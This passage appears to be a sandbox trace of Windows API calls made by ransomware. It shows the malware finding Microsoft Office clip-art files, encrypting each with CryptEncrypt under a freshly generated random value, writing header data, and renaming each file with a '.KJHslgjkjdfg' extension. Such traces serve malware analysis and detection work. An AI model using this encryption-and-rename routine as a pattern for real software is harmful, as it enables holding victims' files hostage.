[0187.360] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.360] SetEndOfFile (hFile=0x130) returned 1 [0187.363] GetProcessHeap () returned 0x990000 [0187.363] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.363] GetProcessHeap () returned 0x990000 [0187.363] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.kjhslgjkjdfg")) returned 1 [0187.364] CloseHandle (hObject=0x130) returned 1 [0187.364] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0187.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.365] GetProcessHeap () returned 0x990000 [0187.365] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.365] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.365] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.365] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.365] GetProcessHeap () returned 0x990000 [0187.365] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.365] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.365] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.365] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.369] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.369] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.369] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.369] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.370] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.370] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.370] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.370] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1370, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1370, lpOverlapped=0x0) returned 1 [0187.371] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370, dwBufLen=0x1370 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370) returned 1 [0187.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.371] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1370, lpOverlapped=0x0) returned 1 [0187.371] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.371] SetEndOfFile (hFile=0x130) returned 1 [0187.373] GetProcessHeap () returned 0x990000 [0187.373] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.373] GetProcessHeap () returned 0x990000 [0187.373] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.kjhslgjkjdfg")) returned 1 [0187.374] CloseHandle (hObject=0x130) returned 1 [0187.375] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0187.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.376] GetProcessHeap () returned 0x990000 [0187.376] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.376] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.377] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0187.385] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.385] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.385] GetProcessHeap () returned 0x990000 [0187.385] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.385] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.385] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.385] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.385] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.385] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.385] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.385] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.385] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.385] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.386] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x31f4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x31f4, lpOverlapped=0x0) returned 1 [0187.387] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3200, dwBufLen=0x3200 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3200) returned 1 [0187.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.388] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3200, lpOverlapped=0x0) returned 1 [0187.388] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.388] SetEndOfFile (hFile=0x130) returned 1 [0187.390] GetProcessHeap () returned 0x990000 [0187.390] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.390] GetProcessHeap () returned 0x990000 [0187.390] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.kjhslgjkjdfg")) returned 1 [0187.392] CloseHandle (hObject=0x130) returned 1 [0187.392] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0187.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.392] GetProcessHeap () returned 0x990000 [0187.392] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.392] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.392] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.392] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.393] GetProcessHeap () returned 0x990000 [0187.393] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.393] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.393] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.393] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.395] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.395] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.395] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.395] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.395] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.395] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.395] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc20, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc20, lpOverlapped=0x0) returned 1 [0187.395] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc20, dwBufLen=0xc20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc20) returned 1 [0187.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.395] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc20, lpOverlapped=0x0) returned 1 [0187.395] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.396] SetEndOfFile (hFile=0x130) returned 1 [0187.396] GetProcessHeap () returned 0x990000 [0187.396] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.396] GetProcessHeap () returned 0x990000 [0187.396] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.kjhslgjkjdfg")) returned 1 [0187.397] CloseHandle (hObject=0x130) returned 1 [0187.397] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0187.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.398] GetProcessHeap () returned 0x990000 [0187.398] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.398] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.398] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0187.400] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.400] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.400] GetProcessHeap () returned 0x990000 [0187.400] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.400] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.400] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.400] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.400] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.400] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.400] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.400] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.400] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.400] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.400] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x634, lpOverlapped=0x0) returned 1 [0187.400] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x640, dwBufLen=0x640 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x640) returned 1 [0187.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.400] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x640, lpOverlapped=0x0) returned 1 [0187.401] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.401] SetEndOfFile (hFile=0x130) returned 1 [0187.403] GetProcessHeap () returned 0x990000 [0187.403] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.403] GetProcessHeap () returned 0x990000 [0187.403] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.kjhslgjkjdfg")) returned 1 [0187.404] CloseHandle (hObject=0x130) returned 1 [0187.404] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0187.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.404] GetProcessHeap () returned 0x990000 [0187.404] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.404] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, 